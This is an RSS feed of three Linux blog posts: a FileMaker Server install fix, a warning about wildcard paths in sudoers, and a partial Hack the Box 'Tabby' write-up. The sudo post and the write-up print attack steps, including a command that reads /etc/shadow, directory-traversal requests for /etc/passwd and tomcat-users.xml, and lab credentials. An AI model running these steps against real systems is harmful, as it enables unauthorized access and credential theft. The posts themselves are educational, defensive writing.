<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Linux-Unix on David Hamann</title><link>https://davidhamann.de/tags/linux-unix/</link><description>Recent content in Linux-Unix on David Hamann</description><generator>Hugo</generator><language>en</language><copyright>&amp;copy; David Hamann</copyright><lastBuildDate>Mon, 05 Jan 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://davidhamann.de/tags/linux-unix/feed.xml" rel="self" type="application/rss+xml"/><item><title>How to get rid of web server upgrade prompts when installing FileMaker Server on Ubuntu Linux</title><link>https://davidhamann.de/2026/01/05/non-interactive-filemaker-server-install-apache-nginx/</link><pubDate>Mon, 05 Jan 2026 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2026/01/05/non-interactive-filemaker-server-install-apache-nginx/</guid><description>&lt;p&gt;A while back the FileMaker Server (FMS) installer for Ubuntu Linux started checking the currently installed web server versions and giving warnings and an interactive prompt (!) in case of outdated versions.&lt;/p&gt;
&lt;p&gt;This is rather annoying if you like to install/upgrade your FMS non-interactively. Using ansible, for example, your playbook would just hang and you would start wondering what&amp;rsquo;s going on.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s see what is actually happening, why it&amp;rsquo;s happening, and how to solve it.&lt;/p&gt;
&lt;h2 id="what-is-happening"&gt;What is happening?&lt;/h2&gt;
&lt;p&gt;When you follow the &lt;a href="https://help.claris.com/en/server-network-install-setup-guide/content/silent-installation-linux.html"&gt;official documentation&lt;/a&gt; on &amp;ldquo;silent installations&amp;rdquo;, you could assume that setting up a &lt;a href="https://community.claris.com/en/s/article/Assisted-install-of-FileMaker-Server-17-and-later"&gt;complete&lt;/a&gt; &lt;code&gt;Assisted Install.txt&lt;/code&gt; file and using the following command is all that is necessary:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo FM_ASSISTED_INSTALL=path apt install package_path/filemaker-server-version.build-architecture.deb
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the current and previous version (22.0.2 and 22.0.4) you will, however, eventually see something like this on stdout in the installation process:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Warning: Current nginx version($nginxVersion) is too low, it probably can lead a serious security issue! Please run the script -- NginxUpdate.sh to upgrade it to the latest version!(Ignore: If use Apache)
Do you want to continue to install? [y/n]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Non-interactively, you obviously won&amp;rsquo;t see anything and thus won&amp;rsquo;t be able to answer the prompt.&lt;/p&gt;
&lt;p&gt;More annoyingly, canceling the installer in this state will likely break the whole installation leading to &lt;code&gt;dpkg&lt;/code&gt; telling you that &lt;code&gt;filemaker-server&lt;/code&gt; has to be re-installed.&lt;/p&gt;
&lt;h2 id="why-is-it-happening"&gt;Why is it happening?&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s take a quick look at the debian package to understand why this is happening:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# unzip the installer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;unzip fms_22.0.4.427_Ubuntu24_amd64.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# extract the archive&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ar x filemaker-server-22.0.4.427-amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# extract the tarball&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tar xf control.tar.zst
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now that we have access to the control scripts we can have a look at the bash script &lt;code&gt;preinst&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In it, we see the function &lt;code&gt;checkNginxAndApacheVersion()&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;checkNginxAndApacheVersion&lt;span class="o"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$ERROR_NONE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;nginxVersion&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;nginx -v 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -oP &lt;span class="s1"&gt;&amp;#39;nginx/\K[^ ]+&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;apacheVersion&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;apache2 -v 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -oP &lt;span class="s1"&gt;&amp;#39;Apache/\K[^ ]+&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; dpkg --compare-versions &lt;span class="nv"&gt;$nginxVersion&lt;/span&gt; lt 1.27.0 &lt;span class="o"&gt;||&lt;/span&gt; dpkg --compare-versions &lt;span class="nv"&gt;$apacheVersion&lt;/span&gt; lt 2.4.57&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; dpkg --compare-versions &lt;span class="nv"&gt;$nginxVersion&lt;/span&gt; lt 1.27.0 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; message &lt;span class="s2"&gt;&amp;#34;Warning: Current nginx version(&lt;/span&gt;&lt;span class="nv"&gt;$nginxVersion&lt;/span&gt;&lt;span class="s2"&gt;) is too low, it probably can lead a serious security issue! Please run the script -- NginxUpdate.sh to upgrade it to the latest vers
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;ion!(Ignore: If use Apache)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; dpkg --compare-versions &lt;span class="nv"&gt;$apacheVersion&lt;/span&gt; lt 2.4.57 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; message &lt;span class="s2"&gt;&amp;#34;Warning: Current apache version(&lt;/span&gt;&lt;span class="nv"&gt;$apacheVersion&lt;/span&gt;&lt;span class="s2"&gt;) is too low, it probably can lead a serious security issue! Please run the script -- ApacheUpdate.sh to upgrade it to the latest
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;version!(Ignore: If use Nginx)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r -p &lt;span class="s2"&gt;&amp;#34; Do you want to continue to install? [y/n]&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$REPLY&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;y&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$REPLY&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Y&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$REPLY&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;yes&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$REPLY&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;YES&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$ERROR_NONE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$ERROR_INTERRUPT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; :
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$result&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can see that both nginx and Apache versions are checked against hardcoded version numbers, and if either one is lower than the target version a prompt will appear, trying to read from stdin (&lt;code&gt;read -r -p &amp;quot;...&amp;quot;&lt;/code&gt;).&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 I don&amp;rsquo;t know why they are checking for both versions and not depending on what web server is or will actually be in use.
&lt;/div&gt;

&lt;p&gt;If we trace the calls to the function, we see a little further up that the check only takes place under certain conditions:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isLicenseAccepted&lt;span class="o"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$result&lt;/span&gt; -eq &lt;span class="nv"&gt;$ERROR_NONE&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$SECURITY_CHECK&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So where is &lt;code&gt;$SECURITY_CHECK&lt;/code&gt; coming from?&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s actually read from the &lt;code&gt;Assisted Install.txt&lt;/code&gt; file in &lt;code&gt;readAssistedInstallInfo()&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$fileValid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34;=&amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; xargs&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34;=&amp;#34;&lt;/span&gt; -f 2&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;Security Check&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$value&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;1&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;True&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;yes&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Yes&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;SECURITY_CHECK&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; * &lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;SECURITY_CHECK&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Essentially, this means we can jump over this interactive prompt by setting &lt;code&gt;Security Check=0&lt;/code&gt; in our &lt;code&gt;Assisted Install.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Looking at the documentation of assisted installs, there&amp;rsquo;s unfortunately no mention of this flag: &lt;a href="https://community.claris.com/en/s/article/Assisted-install-of-FileMaker-Server-17-and-later"&gt;Assisted install of Claris FileMaker Server&lt;/a&gt; (at the time of this writing).&lt;/p&gt;
&lt;p&gt;Once I found the flag name, I researched a bit more and eventually found that it&amp;rsquo;s actually officially documented – just somewhere else (oh, well). Look at &amp;ldquo;Linux: Show the Apache and Nginx update warnings&amp;rdquo; here: &lt;a href="https://help.claris.com/en/server-network-install-setup-guide/content/customize-personalization-file.html"&gt;Customize the personalization file&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="the-solution"&gt;The solution&lt;/h2&gt;
&lt;p&gt;After this little detour into the installer, the solution is quite simple:&lt;/p&gt;
&lt;p&gt;Set &lt;code&gt;Security Check=0&lt;/code&gt; if you don&amp;rsquo;t want to be prompted.&lt;/p&gt;
&lt;p&gt;Alternatively, make sure to upgrade your web server versions (unfortunately both nginx and Apache) to the indicated version first, and then run your non-interactive install.&lt;/p&gt;
&lt;p&gt;You can find the upgrade scripts in the package as well; they are called: &lt;code&gt;NginxUpdate.sh&lt;/code&gt; and &lt;code&gt;ApacheUpdate.sh&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I hope this saves someone else a little bit of digging :-)&lt;/p&gt;</description></item><item><title>Beware of wilcards paths in sudo commands</title><link>https://davidhamann.de/2023/02/24/beware-of-wildcard-paths-sudo/</link><pubDate>Fri, 24 Feb 2023 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2023/02/24/beware-of-wildcard-paths-sudo/</guid><description>&lt;p&gt;Say you want to allow a non-root user on Linux to execute a couple of scripts as root or another user with more privileges. A common way of doing this is to make an entry in the sudoers file.&lt;/p&gt;
&lt;p&gt;If the scripts are written in Python, it could look something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;johndoe ALL=(ALL) /usr/bin/python3 /opt/utils/*.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Essentially, this means that the user &lt;code&gt;johndoe&lt;/code&gt; can execute &lt;code&gt;/usr/bin/python3 /opt/utils/*.py&lt;/code&gt; on any machine (&lt;code&gt;ALL&lt;/code&gt;) as any user (&lt;code&gt;(ALL)&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;If the scripts in &lt;code&gt;/opt/utils/&lt;/code&gt; are not writable for &lt;code&gt;johndoe&lt;/code&gt; and there is no way for him to create new files in that directory, this looks okay at first.&lt;/p&gt;
&lt;h2 id="what-could-go-wrong"&gt;What could go wrong?&lt;/h2&gt;
&lt;p&gt;The problem, though, is that if &lt;code&gt;johndoe&lt;/code&gt; can write anywhere else (which is always the case), he can easily get a root shell (or do literally anything else) due to the wildcard character in the path argument to &lt;code&gt;python3&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For example via a simple path traversal:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo /usr/bin/python3 /opt/utils/../../home/johndoe/gotcha.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;*&lt;/code&gt; matches any character (including whitespace, as we see further below), so a user is free to modify the path as desired.&lt;/p&gt;
&lt;p&gt;So while the wildcard sounds like an easy way to solve the initial problem, it is always better to be &lt;em&gt;explicit&lt;/em&gt; about what a user can do (either by putting a restricting regular expression in place or – even better – always explicitly targeting a file or declaring a static argument), for example by listing all the full commands with the different arguments that are allowed to be executed or by building a small wrapper program.&lt;/p&gt;
&lt;h2 id="not-a-problem-specific-to-interpreted-scripts"&gt;Not a problem specific to interpreted scripts&lt;/h2&gt;
&lt;p&gt;This is not solely a problem related to executing scripts with an interpreter (like the above example) but applies in general.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://www.sudo.ws/docs/man/sudoers.man/#Wildcards_in_command_arguments"&gt;&lt;code&gt;sudo&lt;/code&gt; documentation&lt;/a&gt; presents another example using &lt;code&gt;cat&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;%operator ALL = /bin/cat /var/log/messages*
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, users in the &lt;code&gt;operator&lt;/code&gt; group are supposed to &lt;code&gt;cat&lt;/code&gt; only messages files. But simply adding a second argument using whitespace (which is covered by &lt;code&gt;*&lt;/code&gt;) would allow them to read any file:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo cat /var/log/messages /etc/shadow
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The suggested safer alternative from the documentation is:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;%operator ALL = /bin/cat ^/var/log/messages[^[:space:]]*$
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This works fine when your path points to a file (which is expected when targeting &lt;code&gt;/var/log/messages&lt;/code&gt;). If &lt;code&gt;messages&lt;/code&gt; were a directory and not a file, you would have the same issue as above, though.&lt;/p&gt;
&lt;p&gt;Conclusion: always be explicit in your &lt;code&gt;sudoers&lt;/code&gt; file about what you want to allow.&lt;/p&gt;</description></item><item><title>Hack the Box Write-up #9: Tabby</title><link>https://davidhamann.de/2020/11/07/htb-writeup-tabby/</link><pubDate>Sat, 07 Nov 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/11/07/htb-writeup-tabby/</guid><description>&lt;p&gt;This is a write-up for &lt;a href="https://www.hackthebox.eu"&gt;Hack the Box&amp;rsquo;s&lt;/a&gt; just retired &lt;strong&gt;Tabby&lt;/strong&gt; machine.&lt;/p&gt;
&lt;p&gt;We first find a Directory Traversal vulnerability in a web app and use it to obtain credentials for a Tomcat server running on the same host. Cracking a zip password of a discovered file then gives us access to the first low-priv user. From there, we exploit the fact that our user is part of the &lt;code&gt;lxd&lt;/code&gt; group, create a small Alpine Linux image and eventually mount the host&amp;rsquo;s root file system in a new container.&lt;/p&gt;
&lt;h2 id="recon-and-enumeration"&gt;Recon and Enumeration&lt;/h2&gt;
&lt;p&gt;We start by doing a fast scan to get a first overview of the box:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -F 10.10.10.194

[...]
Not shown: 97 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Port 80 and 8080 are the most obvious things to look at first. While we start here, we also begin a full TCP port scan in the background (&lt;code&gt;nmap -p- 10.10.10.194&lt;/code&gt;) to potentially gather more information for a later stage.&lt;/p&gt;
&lt;p&gt;Looking at the site on port 80, we notice links going to the hostname &lt;code&gt;megahosting.htb&lt;/code&gt;. We add it to our &lt;code&gt;/etc/hosts&lt;/code&gt; file and proceed.&lt;/p&gt;
&lt;h2 id="directory-traversal-via-newsphp"&gt;Directory Traversal via news.php&lt;/h2&gt;
&lt;p&gt;The top menu item &lt;strong&gt;News&lt;/strong&gt; looks interesting, as it points to &lt;code&gt;http://megahosting.htb/news.php?file=statement&lt;/code&gt;, hinting at a potential file inclusion and/or directory traversal.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Megahosting News" loading="lazy" src="https://davidhamann.de/images/tabby-news.jpg"&gt;&lt;/p&gt;
&lt;p&gt;We are lucky and can easily traverse and read files from the server: &lt;code&gt;http://megahosting.htb/news.php?file=../../../../../../etc/passwd&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Before spending much time enumerating the file system &amp;ldquo;half-blind&amp;rdquo;, though, let&amp;rsquo;s first see if we can find another service that could give us guidance on where to look for interesting files.&lt;/p&gt;
&lt;h2 id="discovering-tomcat-and-utilizing-earlier-vulnerability"&gt;Discovering Tomcat and utilizing earlier vulnerability&lt;/h2&gt;
&lt;p&gt;Checking the results of our full port scan from ealier, we can see that TCP port 22, 80 and 8080 are the only open ports – so nothing new here.&lt;/p&gt;
&lt;p&gt;Navigating to &lt;code&gt;http://megahosting.htb:8080&lt;/code&gt;, we find what seems to be a default Tomcat 9 installation:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Tomcat" loading="lazy" src="https://davidhamann.de/images/tabby-tomcat.jpg"&gt;&lt;/p&gt;
&lt;p&gt;A common thing to check for Tomcat instances is the availability of the manager app (see for example &lt;a href="https://davidhamann.de/2019/12/03/htb-writeup-jerry/"&gt;Jerry&lt;/a&gt; or &lt;a href="https://davidhamann.de/2019/12/03/htb-writeup-jerry/"&gt;Kotarak&lt;/a&gt; write-up).&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;re getting a Basic Auth prompt for &lt;code&gt;http://megahosting.htb:8080/manager/html&lt;/code&gt;. Since we don&amp;rsquo;t have any credentials yet, we can try to utilize the vulnerability from earlier and read the &lt;code&gt;tomcat-users.xml&lt;/code&gt; file, which could give us potential usernames, passwords and role information.&lt;/p&gt;
&lt;p&gt;The default Tomcat page happily gives up the installation directory as &lt;code&gt;/usr/share/tomcat9&lt;/code&gt;. It is thus most-likely, that we find configuration files in here.&lt;/p&gt;
&lt;p&gt;Looking at &lt;a href="https://ubuntu.pkgs.org/20.04/ubuntu-universe-amd64/tomcat9_9.0.31-1_all.deb.html"&gt;common file pathes&lt;/a&gt;, we can easily identify &lt;code&gt;/usr/share/tomcat9/etc/tomcat-users.xml&lt;/code&gt; as the location of a potential target file.&lt;/p&gt;
&lt;p&gt;Via the earlier directory traversal vulnerability we can can indeed get its contents:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;GET /news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml HTTP/1.1

[...]
&amp;lt;user username=&amp;#34;tomcat&amp;#34; password=&amp;#34;$3cureP4s5w0rd123!&amp;#34; roles=&amp;#34;admin-gui,manager-script&amp;#34;/&amp;gt;
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since we don&amp;rsquo;t have the &lt;code&gt;manager-gui&lt;/code&gt; role, we cannot utilize the web interface though. The &lt;code&gt;manager-script&lt;/code&gt; role, however, should be enough as it also gives us the ability to deploy our own apps – just not via the web ui.&lt;/p&gt;
